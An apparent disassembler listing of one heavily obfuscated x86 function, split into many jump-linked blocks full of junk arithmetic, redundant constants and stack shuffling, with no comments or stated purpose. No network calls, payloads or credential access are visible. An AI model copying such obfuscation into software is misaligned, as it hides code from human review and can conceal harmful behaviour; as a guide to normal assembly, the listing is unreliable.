loc_5AC78B:				; CODE XREF: sub_5A55E5+8B26j
		sub	esi, 1
		jmp	loc_5BBCC3
; ---------------------------------------------------------------------------


loc_5AC793:				; CODE XREF: sub_5A55E5+15A7Fj
		xchg	edx, [esp+20h+var_22+2]
		pop	esp
		mov	[esp+1Ch+var_1C], eax
		mov	ah, cl
		push	4665h
		jmp	loc_5BCE58
; ---------------------------------------------------------------------------


loc_5AC7A6:				; CODE XREF: sub_5A55E5+D3BEj
		sub	edx, 6D062F28h
		sub	edx, 26A85177h
		pop	ecx
		push	6E07h
		mov	[esp+20h+var_22+2], edx
		push	[esp+20h+var_1C]
		jmp	loc_5B0A67
; ---------------------------------------------------------------------------


loc_5AC7C4:				; CODE XREF: sub_5A55E5+19CACj
		mov	[esp+24h+var_26+2], ebp
		jmp	loc_5B096C
; ---------------------------------------------------------------------------


loc_5AC7CC:				; CODE XREF: sub_5A55E5+E74Dj
		sub	ecx, 62AC365Ah
		sub	ecx, esi
		add	ecx, 62AC365Ah
		jmp	loc_5AF283
; ---------------------------------------------------------------------------


loc_5AC7DF:				; CODE XREF: sub_5A55E5+AF4Bj
		pop	ebx
		sub	esp, 4
		mov	[esp+24h+var_26+2], edi
		push	edx
		mov	edx, 4
		mov	edi, edx
		pop	edx
		add	ecx, edi
		pop	edi
		push	20B2h
		jmp	loc_5ABA60
; ---------------------------------------------------------------------------


loc_5AC7FF:				; CODE XREF: sub_5A55E5+17C57j
		add	esp, 4
		push	ebx
		mov	ebx, 0C0399911h
		add	esi, ebx
		jmp	loc_5BB73E
; ---------------------------------------------------------------------------


loc_5AC812:				; CODE XREF: sub_5A55E5+D1BAj
		add	[esp+24h+var_22+2], 4EDE3475h
		add	[esp+24h+var_22+2], ebp
		push	edi
		jmp	loc_5B3B49
; ---------------------------------------------------------------------------


loc_5AC824:				; CODE XREF: sub_5A55E5+8FBAj
		mov	eax, [esp+28h+var_2A+2]
		add	esp, 4
		push	ecx
		push	esp
		jmp	loc_5B6264
; ---------------------------------------------------------------------------


loc_5AC834:				; CODE XREF: sub_5A55E5+184EBj
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_5BC191
; ---------------------------------------------------------------------------


loc_5AC848:				; CODE XREF: sub_5A55E5+1282Bj
		not	dl
		shr	dl, 1
		add	dl, 0A8h
		mov	ch, dl
		pop	edx
		and	dh, ch
		mov	cx, word ptr [esp+30h+var_32+2]
		jmp	loc_5AAD64
; ---------------------------------------------------------------------------


loc_5AC85D:				; CODE XREF: sub_5A55E5+109BEj
		add	esp, 4
		add	al, 14h
		sub	al, 0DBh
		add	al, dl
		add	al, 0DBh
		jmp	loc_5B6BA3
; ---------------------------------------------------------------------------


loc_5AC86D:				; CODE XREF: sub_5A55E5+13B19j
		and	edx, ebx
		pop	ebx
		xor	edx, 40025404h
		add	eax, edx
		mov	edx, [esp+28h+var_2A+2]
		jmp	loc_5BCCA4
; ---------------------------------------------------------------------------


loc_5AC880:				; CODE XREF: sub_5A55E5+A850j
		inc	edx
		sub	edx, 15B53ECEh
		add	edx, 27B327C2h
		jmp	loc_5B8CB4
; ---------------------------------------------------------------------------


loc_5AC892:				; CODE XREF: sub_5A55E5+12548j
		xchg	edx, [esp+28h+var_2A+2]
		mov	esp, [esp+28h+var_2A+2]
		jmp	loc_5B9E3C
; ---------------------------------------------------------------------------


loc_5AC89D:				; CODE XREF: sub_5A55E5+133A4j
		mov	edx, [esp+28h+var_2A+2]
		jmp	loc_5BC2F6
; ---------------------------------------------------------------------------


loc_5AC8A5:				; CODE XREF: sub_5A55E5+D3DCj
		pop	ecx
		xor	edx, 3FA31641h
		add	ecx, edx
		mov	edx, [esp+24h+var_26+2]
		push	eax
		push	esp
		mov	eax, [esp+2Ch+var_2E+2]
		add	esp, 4
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		push	6111h
		mov	[esp+2Ch+var_2E+2], eax
		push	[esp+2Ch+var_2A+2]
		pop	eax
		pop	[esp+2Ch+var_2E+2]
		pop	esp
		sub	esp, 4
		mov	[esp+28h+var_2A+2], edx
		mov	edx, 4
		sub	ecx, 277D5A1Eh
		add	ecx, edx
		add	ecx, 277D5A1Eh
		pop	edx
		jmp	loc_5AF4DA
; ---------------------------------------------------------------------------


loc_5AC8FD:				; CODE XREF: sub_5A55E5+11700j
		push	[esp+24h+var_22+2]
		pop	esi
		pop	[esp+24h+var_26+2]
		mov	esp, [esp+20h+var_22+2]
		idiv	cx
		push	small 11A5h
		mov	word ptr [esp+22h+var_22], dx
		push	ax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AC91B:				; CODE XREF: sub_5A55E5+C627j
		sub	esi, 650E56FCh
		pop	ecx
		push	71EEh
		mov	[esp+28h+var_2A+2], esi
		push	[esp+28h+var_2A+2]
		pop	ebx
		add	esp, 4
		jmp	loc_5AD649
; ---------------------------------------------------------------------------


loc_5AC939:				; CODE XREF: sub_5A55E5+94C1j
		pop	esp
		mov	[esp+20h+var_22+2], ebp
		push	7BC8152Dh
		jmp	loc_5B1E83
; ---------------------------------------------------------------------------


loc_5AC947:				; CODE XREF: sub_5A55E5+7724j
		dec	eax
		xchg	eax, ebp
		neg	ebp
		xchg	eax, ebp
		sub	eax, 8367AF0Ch
		sub	ebx, 49906429h
		push	edx
		jmp	loc_5AB794
; ---------------------------------------------------------------------------


loc_5AC95D:				; CODE XREF: sub_5A55E5+80ABj
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AC962:				; CODE XREF: sub_5A55E5+DC85j
		push	[esp+28h+var_2A+2]
		pop	ebp
		jmp	loc_5AD190
; ---------------------------------------------------------------------------


loc_5AC96B:				; CODE XREF: sub_5A55E5+AAD4j
		pop	cx
		push	eax
		mov	al, 62h
		add	al, 0C1h
		push	bx
		mov	bl, 0F2h
		add	al, bl
		pop	bx
		xor	al, 17h
		sub	ch, 5Ah
		sub	ch, al
		add	ch, 5Ah
		pop	eax
		mov	bl, ch
		pop	ecx
		push	ecx
		mov	ch, 46h
		xor	bl, ch
		pop	ecx
		mov	ch, bl
		jmp	loc_5AF152
; ---------------------------------------------------------------------------


loc_5AC995:				; CODE XREF: sub_5A55E5+190DBj
		push	dword ptr [esp+4]
		pop	ecx
		pop	[esp+22h+var_22]
		not	ecx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	[esp+22h+var_22]
		mov	eax, [esp+0]
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 70214947h
		push	0
		jmp	loc_5BA39E
; ---------------------------------------------------------------------------


loc_5AC9BE:				; CODE XREF: sub_5A55E5+176A0j
		mov	ecx, 681A1E1Ch
		sub	esi, ecx
		pop	ecx
		add	esi, ebx
		jmp	loc_5B9F5E
; ---------------------------------------------------------------------------


loc_5AC9CD:				; CODE XREF: sub_5A55E5+4A24j
		sub	ebp, 62015F31h
		sub	ebp, 0A192CABh
		add	ebp, eax
		add	ebp, 0A192CABh
		add	ebp, 62015F31h
		mov	eax, [esp+18h+var_18]
		push	1E01h
		mov	[esp+1Ch+var_1C], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+1Ch+var_1C]
		jmp	loc_5B1C60
; ---------------------------------------------------------------------------


loc_5ACA05:				; CODE XREF: sub_5A55E5+19EF8j
		mov	edx, [esp+1Ch+var_1C]
		add	esp, 4
		or	ecx, 79E7437h
		xor	ecx, 0EC834CEEh
		xor	edx, ecx
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		add	ebx, 1F13362Bh
		add	ebx, edx
		sub	ebx, 1F13362Bh
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_5B78C4
; ---------------------------------------------------------------------------


loc_5ACA3B:				; CODE XREF: sub_5A55E5+ACFBj
		push	esp
		mov	esi, [esp+14h+var_14]
		jmp	loc_5B25F8
; ---------------------------------------------------------------------------


loc_5ACA44:				; CODE XREF: sub_5A55E5+9AA5j
		push	ecx
		mov	ecx, 0
		add	ecx, edx
		mov	eax, [ecx]
		pop	ecx
		mov	edx, [esp+14h+var_14]
		push	476Fh
		mov	[esp+18h+var_18], esi
		mov	esi, esp
		push	edx
		jmp	loc_5B910F
; ---------------------------------------------------------------------------


loc_5ACA62:				; CODE XREF: sub_5A55E5+588Fj
		mov	eax, [esp+3Ah+var_3A]
		add	esp, 4
		pop	ebx
		xor	al, cl
		mov	cx, word ptr [esp+32h+var_32]
		jmp	loc_5BEABE
; ---------------------------------------------------------------------------


loc_5ACA74:				; CODE XREF: sub_5A55E5+17114j
		push	small 6180h
		mov	word ptr [esp+34h+var_36+2], cx
		sub	esp, 4
		mov	[esp+38h+var_3A+2], ebx
		jmp	loc_5BDCE0
; ---------------------------------------------------------------------------


loc_5ACA87:				; CODE XREF: sub_5A55E5+EA85j
		and	bl, 0ABh
		inc	bl
		sub	bl, 0F5h
		sub	al, 2Bh
		push	ebx
		mov	bl, 5Eh
		add	bl, 0B4h
		jmp	loc_5ABE07
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+3Ch+var_3E+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+40h+var_42+2]
		jmp	loc_5AE67B
; ---------------------------------------------------------------------------


loc_5ACAB3:				; CODE XREF: sub_5A55E5+CA15j
		add	edx, 133809CDh
		jmp	loc_5B930B
; ---------------------------------------------------------------------------


loc_5ACABE:				; CODE XREF: sub_5A55E5+15C13j
		push	[esp+40h+var_42+2]
		jmp	loc_5BAA55
; ---------------------------------------------------------------------------


loc_5ACAC6:				; CODE XREF: sub_5A55E5+53A7j
		mov	esp, [esp+22h+var_22]
		cmp	cl, al
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5ACAD1:				; CODE XREF: sub_5A55E5+195D0j
		not	[esp+26h+var_26]
		pop	ebx
		or	ebx, 37263579h
		add	ebx, 6B002C03h
		push	5783h
		jmp	loc_5B1FFF
; ---------------------------------------------------------------------------


loc_5ACAEB:				; CODE XREF: sub_5A55E5+A6C2j
		mov	edx, 5CE46FE2h
		or	edx, 52C5247h
		shl	edx, 8
		push	eax
		mov	eax, 536D6661h
		jmp	loc_5B3F16
; ---------------------------------------------------------------------------


loc_5ACB04:				; CODE XREF: sub_5A55E5+A1B3j
		pop	edi
		pop	edi
		push	ebp
		mov	ebp, 781D041Ch
		sub	ebp, 1A363544h
		jmp	loc_5BB3BD
; ---------------------------------------------------------------------------


loc_5ACB17:				; CODE XREF: sub_5A55E5+16C5Bj
		mov	[esp+26h+var_26], edx
		push	ebp
		push	4C1E53DEh
		jmp	loc_5AA3F9
; ---------------------------------------------------------------------------


loc_5ACB25:				; CODE XREF: sub_5A55E5+12267j
		add	ebx, edx
		mov	edx, [esp+2Eh+var_2E]
		jmp	loc_5ADF1C
; ---------------------------------------------------------------------------


loc_5ACB2F:				; CODE XREF: sub_5A55E5+B029j
		pop	ebx
		add	eax, ebx
		add	eax, 79C039F4h
		jmp	loc_5AD2C0
; ---------------------------------------------------------------------------


loc_5ACB3C:				; CODE XREF: sub_5A55E5+1546Bj
		add	eax, 4C9D0732h
		push	[esp+2Ah+var_2A]
		jmp	loc_5B655C
; ---------------------------------------------------------------------------


loc_5ACB49:				; CODE XREF: sub_5A55E5+189D8j
		add	edx, 7EE401B6h
		jmp	loc_5B517D
; ---------------------------------------------------------------------------


loc_5ACB54:				; CODE XREF: sub_5A55E5+121A7j
		xor	[esp+2Eh+var_2E], esi
		jmp	loc_5B31FA
; ---------------------------------------------------------------------------


loc_5ACB5C:				; CODE XREF: sub_5A55E5+100A4j
		mov	ebx, 796E3BBDh
		or	ebx, 655C18E9h
		xor	ebx, 463E215Ch
		not	ebx
		jmp	loc_5AF7F9
; ---------------------------------------------------------------------------


loc_5ACB74:				; CODE XREF: sub_5A55E5+1063Cj
		add	esi, 384EE211h
		sub	edi, esi
		pop	esi
		jmp	loc_5AA745
; ---------------------------------------------------------------------------


loc_5ACB82:				; CODE XREF: sub_5A55E5+17BECj
		add	esp, 4
		jmp	loc_5B8C87
; ---------------------------------------------------------------------------


loc_5ACB8A:				; DATA XREF: sub_5A55E5+41DFo
		lodsd
		jmp	loc_5B7F3F
; ---------------------------------------------------------------------------


loc_5ACB90:				; CODE XREF: sub_5A55E5+FDB2j
		sub	esi, edx
		jmp	loc_5BBABD
; ---------------------------------------------------------------------------


loc_5ACB97:				; CODE XREF: sub_5A55E5+C14Ej
		pop	esi
		or	ebx, 7CFE05B0h
		xor	ebx, 0D14002F2h
		jmp	loc_5B1738
; ---------------------------------------------------------------------------


loc_5ACBA9:				; CODE XREF: sub_5A55E5+18FA4j
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 3DE020FEh
		neg	ecx
		jmp	loc_5BDEC0
; ---------------------------------------------------------------------------


loc_5ACBB8:				; CODE XREF: sub_5A55E5+698Dj
		push	eax
		jmp	loc_5AB05A
; ---------------------------------------------------------------------------


loc_5ACBBE:				; CODE XREF: sub_5A55E5+192AEj
		mov	edx, 5A866A7Fh
		and	edx, 2CD80157h
		or	edx, 32353ED1h
		xor	edx, 3B9CAE43h
		jmp	loc_5AF430
; ---------------------------------------------------------------------------


loc_5ACBDA:				; CODE XREF: sub_5A55E5+13BF5j
		mov	ecx, 54E77342h
		shr	ecx, 8
		xor	ecx, 9CEAB65h
		or	ebx, ecx
		pop	ecx
		shr	ebx, 3
		push	edx
		push	edi
		mov	edi, 59B357BAh
		mov	edx, 0C605B4A5h
		sub	edx, 61E30561h
		jmp	loc_5B3F3B
; ---------------------------------------------------------------------------


loc_5ACC05:				; CODE XREF: sub_5A55E5+8C5Ej
		pop	esp
		jmp	loc_5B8BD1
; ---------------------------------------------------------------------------


loc_5ACC0B:				; CODE XREF: sub_5A55E5+D960j
		pop	edi
		push	eax
		mov	eax, 2DE868F1h
		jmp	loc_5AA8E7
; ---------------------------------------------------------------------------


loc_5ACC17:				; CODE XREF: sub_5A55E5+D9D0j
		push	eax
		push	[esp+1Eh+var_1C+2]
		pop	eax
		pop	dword ptr [esp+0]
		mov	esp, [esp+1Ah+var_1C+2]
		jmp	loc_5ABCF7
; ---------------------------------------------------------------------------


loc_5ACC28:				; CODE XREF: sub_5A55E5+F819j
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, 11A63FECh
		jmp	loc_5B7A56
; ---------------------------------------------------------------------------


loc_5ACC38:				; CODE XREF: sub_5A55E5+17B58j
		pop	ebx
		add	edx, 68D63E8Bh
		jmp	loc_5B819B
; ---------------------------------------------------------------------------


loc_5ACC44:				; CODE XREF: sub_5A55E5+179C1j
		push	esp
		pop	edi
		jmp	loc_5B4E03
; ---------------------------------------------------------------------------


loc_5ACC4B:				; CODE XREF: sub_5A55E5+102F6j
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		sub	ebx, ecx
		jmp	loc_5BAEDB
; ---------------------------------------------------------------------------


loc_5ACC5E:				; CODE XREF: sub_5A55E5+8D86j
		mov	eax, 3A44242Dh
		add	ebp, eax
		pop	eax
		add	ebp, edi
		sub	ebp, 3A44242Dh
		add	ebp, 64327ACAh
		pop	edi
		jmp	loc_5ABCB1
; ---------------------------------------------------------------------------


loc_5ACC7A:				; CODE XREF: sub_5A55E5+647Ej
		push	[esp+46h+var_42]
		push	[esp+4Ah+var_4A]
		mov	ecx, [esp+4Eh+var_50+2]
		add	esp, 4
		add	esp, 4
		pop	[esp+46h+var_46]
		mov	esp, [esp+42h+var_42]
		jmp	loc_5B8A64
; ---------------------------------------------------------------------------


loc_5ACC9B:				; CODE XREF: sub_5A55E5+67B6j
		push	ebp
		mov	ebp, 27045327h
		xor	esi, ebp
		pop	ebp
		push	esi
		mov	eax, [esp+0Eh+var_10+2]
		add	esp, 4
		jmp	loc_5AC04F
; ---------------------------------------------------------------------------


loc_5ACCB3:				; CODE XREF: sub_5A55E5+5E92j
		push	74EBh
		mov	[esp+24h+var_26+2], ebp
		push	777208A7h
		mov	ebp, [esp+28h+var_2A+2]
		add	esp, 4
		sub	ebp, 77AA4387h
		neg	ebp
		sub	esp, 4
		mov	[esp+28h+var_2A+2], edi
		mov	edi, 1A5956A3h
		shl	edi, 8
		jmp	loc_5AD80B
; ---------------------------------------------------------------------------


loc_5ACCE1:				; CODE XREF: sub_5A55E5+121E1j
		xor	edx, ecx
		pop	ecx
		sub	ecx, 250905B6h
		sub	ecx, edx
		add	ecx, 250905B6h
		mov	edx, [esp+24h+var_26+2]
		add	esp, 4
		push	eax
		mov	eax, 0FAE4D8Bh
		xor	eax, 44862998h
		sub	eax, 3E22730Dh
		inc	eax
		jmp	loc_5AC947
; ---------------------------------------------------------------------------


loc_5ACD0E:				; CODE XREF: sub_5A55E5+13F64j
		and	dh, 0F9h
		xor	dh, 0BFh
		inc	dh
		add	dh, 0D9h
		xor	dh, 2Fh
		jmp	loc_5AE852
; ---------------------------------------------------------------------------


loc_5ACD21:				; CODE XREF: sub_5A55E5+17B2Bj
		push	edi
		jmp	loc_5B7AE6
; ---------------------------------------------------------------------------


loc_5ACD27:				; CODE XREF: sub_5A55E5+19468j
		mov	edx, 594D588Eh
		shl	edx, 8
		dec	edx
		jmp	loc_5B1C25
; ---------------------------------------------------------------------------


loc_5ACD35:				; CODE XREF: sub_5A55E5+85E1j
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+28h+var_2A+2]
		pop	esp
		add	edi, 7F27A5F0h
		mov	ecx, edi
		pop	edi
		xor	eax, ecx
		mov	ecx, [esp+20h+var_22+2]
		jmp	loc_5B13D1
; ---------------------------------------------------------------------------


loc_5ACD5C:				; CODE XREF: sub_5A55E5+13892j
		mov	edx, 42CB2D46h
		mov	ebp, 6BF42A20h
		add	ebp, 0CB55B353h
		add	ebp, edx
		pop	edx
		jmp	loc_5B1E63
; ---------------------------------------------------------------------------


loc_5ACD74:				; CODE XREF: sub_5A55E5+15953j
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp+20h+var_22+2], eax
		mov	eax, 4
		jmp	loc_5AA238
; ---------------------------------------------------------------------------


loc_5ACD8F:				; CODE XREF: sub_5A55E5+88FAj
		pop	edx
		add	al, 8Fh
		jmp	loc_5B6303
; ---------------------------------------------------------------------------


loc_5ACD97:				; CODE XREF: sub_5A55E5+116F4j
		add	edi, 249843E4h
		add	edi, 2F2D7FE1h
		add	edi, 511175A2h
		add	edi, eax
		sub	edi, 511175A2h
		sub	edi, 2F2D7FE1h
		sub	edi, 249843E4h
		sub	edi, 7CE073ECh
		pop	eax
		push	edi
		push	[esp+1Ch+var_18]
		jmp	loc_5BD072
; ---------------------------------------------------------------------------


loc_5ACDCE:				; DATA XREF: sub_5A55E5+41B3o
		mov	eax, [esp+10h+var_10]
		push	ebp
		push	1413h
		sub	esp, 4
		mov	[esp+1Ch+var_1C], esp
		add	[esp+1Ch+var_1C], 4
		pop	[esp+1Ch+var_1C]
		push	edi
		push	ebx
		mov	ebx, 7BEE420Dh
		push	ecx
		mov	ecx, 1C986CEAh
		xor	ebx, ecx
		pop	ecx
		add	ebx, 2D9B671Bh
		or	ebx, 313779ECh
		jmp	loc_5B788D
; ---------------------------------------------------------------------------


loc_5ACE05:				; CODE XREF: sub_5A55E5+9DF5j
		xor	esi, 17FBA12Ch
		xor	ebx, esi
		mov	esi, [esp+20h+var_22+2]
		add	esp, 4
		sub	eax, 4EF83198h
		add	eax, ebx
		add	eax, 4EF83198h
		mov	ebx, [esp+1Ch+var_1C]
		add	esp, 4
		xor	eax, [esp+18h+var_18]
		xor	[esp+18h+var_18], eax
		xor	eax, [esp+18h+var_18]
		pop	esp
		mov	fs:[edx], al
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5ACE37:				; CODE XREF: sub_5A55E5+11C8Cj
		push	1547h
		mov	[esp+18h+var_18], ebp
		mov	ebp, 751E332Eh
		not	ebp
		or	ebp, 4BF840F4h
		push	esi
		mov	esi, 5C7A0395h
		push	edx
		mov	edx, 273857D3h
		shl	edx, 4
		shr	edx, 1
		shl	edx, 8
		sub	edx, 0AD3321BFh
		sub	esi, edx
		pop	edx
		jmp	loc_5B29C6
; ---------------------------------------------------------------------------


loc_5ACE6E:				; CODE XREF: sub_5A55E5+18CFCj
		mov	esi, [esp+1Ch+var_1C]
		jmp	loc_5AE272
; ---------------------------------------------------------------------------


loc_5ACE76:				; CODE XREF: sub_5A55E5+6A4Fj
		sub	edx, 4
		xor	edx, [esp+42h+var_42]
		xor	[esp+42h+var_42], edx
		xor	edx, [esp+42h+var_42]
		pop	esp
		mov	[esp+3Eh+var_3E], ebx
		mov	ebx, 4AB53327h
		xor	esi, ebx
		mov	ebx, [esp+3Eh+var_3E]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+42h+var_42]
		pop	esp
		push	edx
		mov	edx, 60DD3011h
		dec	edx
		dec	edx
		shl	edx, 8
		shr	edx, 4
		xor	edx, 499747DCh
		xor	esi, edx
		jmp	loc_5B4D0B
; ---------------------------------------------------------------------------
		mov	eax, [esp+42h+var_42]
		push	468Eh
		mov	[esp+46h+var_46], ecx
		push	4935h
		mov	[esp+4Ah+var_4A], esp
		add	[esp+4Ah+var_4A], 4
		mov	ecx, [esp+4Ah+var_4A]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5ADC2C
; ---------------------------------------------------------------------------


loc_5ACEE7:				; CODE XREF: sub_5A55E5+18919j
		pop	edi
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		mov	ebp, [esp+4Eh+var_50+2]
		add	esp, 4
		xchg	ecx, [esp+4Ah+var_4A]
		jmp	loc_5B6C6D
; ---------------------------------------------------------------------------


loc_5ACF01:				; CODE XREF: sub_5A55E5+8C0Bj
		mov	[esp+4Ah+var_4A], edx
		push	ebx
		jmp	loc_5B11F0
; ---------------------------------------------------------------------------


loc_5ACF0A:				; CODE XREF: sub_5A55E5+15D6Bj
		add	esp, 4
		push	3CCh
		mov	[esp+4Eh+var_50+2], edx
		xchg	eax, [esp+4Eh+var_50+2]
		not	eax
		xchg	eax, [esp+4Eh+var_50+2]
		pop	edx
		push	eax
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4
		sub	ecx, 2E9C4E12h
		jmp	loc_5B9AF3
; ---------------------------------------------------------------------------


loc_5ACF33:				; CODE XREF: sub_5A55E5+6596j
		pop	esi
		add	ebx, ecx
		add	ebx, 357C1A5Ch
		jmp	loc_5BAA71
; ---------------------------------------------------------------------------


loc_5ACF41:				; CODE XREF: sub_5A55E5+BE5Cj
		mov	ebx, 5E483940h
		sub	eax, 22D15F16h
		sub	eax, 4B775D76h
		sub	eax, ebx
		add	eax, 4B775D76h
		add	eax, 22D15F16h
		pop	ebx
		sub	eax, 5ECF1225h
		push	edi
		mov	edi, 12F3864h
		add	eax, 401F7061h
		jmp	loc_5AAAA6
; ---------------------------------------------------------------------------


loc_5ACF72:				; CODE XREF: sub_5A55E5+11D43j
		add	esi, eax
		pop	eax
		jmp	loc_5BF45A
; ---------------------------------------------------------------------------


loc_5ACF7A:				; CODE XREF: sub_5A55E5+1394Dj
		mov	ch, 28h
		sub	al, ch
		mov	ecx, [esp+34h+var_36+2]
		add	esp, 4
		mov	bx, word ptr [esp+30h+var_32+2]
		jmp	loc_5BC3FE
; ---------------------------------------------------------------------------


loc_5ACF90:				; CODE XREF: sub_5A55E5+14529j
		mov	[esp+30h+var_32+2], edx
		jmp	loc_5A9FB4
; ---------------------------------------------------------------------------


loc_5ACF98:				; CODE XREF: sub_5A55E5+4ED4j
		mov	ebp, [esp+60h+var_60]
		jmp	loc_5AC3FE
; ---------------------------------------------------------------------------


loc_5ACFA0:				; CODE XREF: sub_5A55E5+172C6j
		neg	edx
		jmp	loc_5BC008
; ---------------------------------------------------------------------------


loc_5ACFA7:				; CODE XREF: sub_5A55E5+144D7j
		sub	esi, 12D94A89h
		add	esi, 2E994672h
		add	esi, ebx
		sub	esi, 2E994672h
		add	esi, 12D94A89h
		jmp	loc_5AB7CC
; ---------------------------------------------------------------------------


loc_5ACFC6:				; CODE XREF: sub_5A55E5+1592Aj
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5ACFCB:				; CODE XREF: sub_5A55E5+18541j
		mov	[esp+60h+var_60], eax
		push	esp
		pop	eax
		push	ecx
		mov	ecx, 3DED60FDh
		push	esi
		push	ebp
		push	6F141AB0h
		pop	ebp
		shr	ebp, 4
		jmp	loc_5BF2A2
; ---------------------------------------------------------------------------


loc_5ACFE6:				; CODE XREF: sub_5A55E5+4571j
		sub	eax, ecx
		jmp	loc_5AA12B
; ---------------------------------------------------------------------------


loc_5ACFED:				; CODE XREF: sub_5A55E5+8E78j
		mov	edx, esp
		push	esi
		mov	esi, 698B70C8h
		xor	esi, 698B70CCh
		jmp	loc_5B44E0
; ---------------------------------------------------------------------------


loc_5AD000:				; CODE XREF: sub_5A55E5+E5CCj
		push	ebx
		mov	bl, cl
		mov	al, bl
		pop	ebx
		mov	dl, al
		mov	eax, [esp+44h+var_46+2]
		add	esp, 4
		jmp	loc_5B2C18
; ---------------------------------------------------------------------------


loc_5AD016:				; CODE XREF: sub_5A55E5+1461Fj
		push	ebp
		push	edi
		mov	edi, 54A02FC7h
		jmp	loc_5AC759
; ---------------------------------------------------------------------------


loc_5AD022:				; CODE XREF: sub_5A55E5+15327j
		sub	[esp+48h+var_4A+2], 7FC0E09h
		jmp	loc_5AF94D
; ---------------------------------------------------------------------------


loc_5AD02E:				; CODE XREF: sub_5A55E5+178A4j
		mov	eax, [esp+48h+var_4A+2]
		add	esp, 4
		push	113Fh
		jmp	loc_5AFF1F
; ---------------------------------------------------------------------------


loc_5AD041:				; CODE XREF: sub_5A55E5+7B38j
		pop	ebx
		add	esp, 4
		jmp	loc_5B6E1D
; ---------------------------------------------------------------------------


loc_5AD04D:				; CODE XREF: sub_5A55E5+111B5j
		xor	edx, 0B8E28365h
		add	eax, edx
		pop	edx
		add	edx, eax
		pop	eax
		xchg	edx, [esp+38h+var_3A+2]
		mov	esp, [esp+38h+var_3A+2]
		add	edi, 4
		push	esi
		mov	esi, 4
		sub	edi, esi
		jmp	loc_5B6B21
; ---------------------------------------------------------------------------


loc_5AD072:				; CODE XREF: sub_5A55E5+8B18j
		pop	esi
		add	esi, 7146A0h
		shl	esi, 6
		xchg	eax, esi
		jmp	loc_5BE07A
; ---------------------------------------------------------------------------


loc_5AD082:				; CODE XREF: sub_5A55E5+10412j
		mov	esp, [esp+38h+var_3A+2]
		jmp	loc_5B20D5
; ---------------------------------------------------------------------------


loc_5AD08A:				; DATA XREF: sub_5A55E5+4247o
		mov	cx, word ptr [esp+14h+var_14]
		push	esi
		jmp	loc_5BEBD7
; ---------------------------------------------------------------------------


loc_5AD094:				; CODE XREF: sub_5A55E5+19995j
		push	7D26h
		mov	[esp+1Ch+var_1C], ecx
		jmp	loc_5AB881
; ---------------------------------------------------------------------------


loc_5AD0A1:				; CODE XREF: sub_5A55E5+11E76j
		xor	ebx, edi
		xor	edi, ebx
		xor	edi, 640B4415h
		sub	ecx, 19723462h
		add	ecx, edi
		jmp	loc_5B34BD
; ---------------------------------------------------------------------------


loc_5AD0B8:				; CODE XREF: sub_5A55E5+DF9Aj
		pop	edx
		sub	al, 0Ah
		sub	al, cl
		add	al, 0Ah
		jmp	loc_5B476F
; ---------------------------------------------------------------------------


loc_5AD0C4:				; CODE XREF: sub_5A55E5+1717Bj
		pop	edi
		mov	ebp, esi
		pop	esi
		push	ebp
		pop	edx
		push	[esp+10h+var_10]
		pop	ebp
		add	esp, 4
		sub	eax, edx
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		xor	eax, [esp+8+var_8]
		jmp	loc_5B7E15
; ---------------------------------------------------------------------------


loc_5AD0E4:				; CODE XREF: sub_5A55E5+126E0j
		push	edx
		jmp	loc_5B0B6C
; ---------------------------------------------------------------------------


loc_5AD0EA:				; CODE XREF: sub_5A55E5+13A4Ej
		add	edi, 13CB4116h
		jmp	loc_5BDB7A
; ---------------------------------------------------------------------------


loc_5AD0F5:				; CODE XREF: sub_5A55E5+15356j
		shl	edx, 4
		sub	edx, 6B9922DEh
		push	edx
		push	esi
		mov	esi, 34726664h
		jmp	loc_5AE370
; ---------------------------------------------------------------------------


loc_5AD10A:				; CODE XREF: sub_5A55E5+17F50j
		push	edx
		pop	eax
		pop	edx
		add	[esp+10h+var_C], eax
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		push	[esp+0Ch+var_C]
		jmp	loc_5AD041
; ---------------------------------------------------------------------------


loc_5AD122:				; CODE XREF: sub_5A55E5+479Ej
		mov	edx, 4D056075h
		xor	[esp+3Eh+var_3A], edx
		jmp	loc_5AB970
; ---------------------------------------------------------------------------


loc_5AD130:				; CODE XREF: sub_5A55E5+150F6j
		mov	ebp, 4
		add	[esp+3Eh+var_3A], ebp
		pop	ebp
		jmp	loc_5AA657
; ---------------------------------------------------------------------------


loc_5AD13F:				; CODE XREF: sub_5A55E5+15E61j
		pop	ebx
		add	esp, 4
		add	ebx, 4
		push	eax
		push	ebp
		push	5B544FF7h
		pop	ebp
		xor	ebp, 5B544FF3h
		jmp	loc_5B1E6A
; ---------------------------------------------------------------------------


loc_5AD15C:				; CODE XREF: sub_5A55E5+B665j
		mov	ebp, 4
		sub	ecx, 1B585FCEh
		sub	ecx, ebp
		add	ecx, 1B585FCEh
		pop	ebp
		jmp	loc_5BEAAA
; ---------------------------------------------------------------------------


loc_5AD175:				; CODE XREF: sub_5A55E5+BDABj
		pop	ecx
		dec	edx
		sub	edx, 4825784Fh
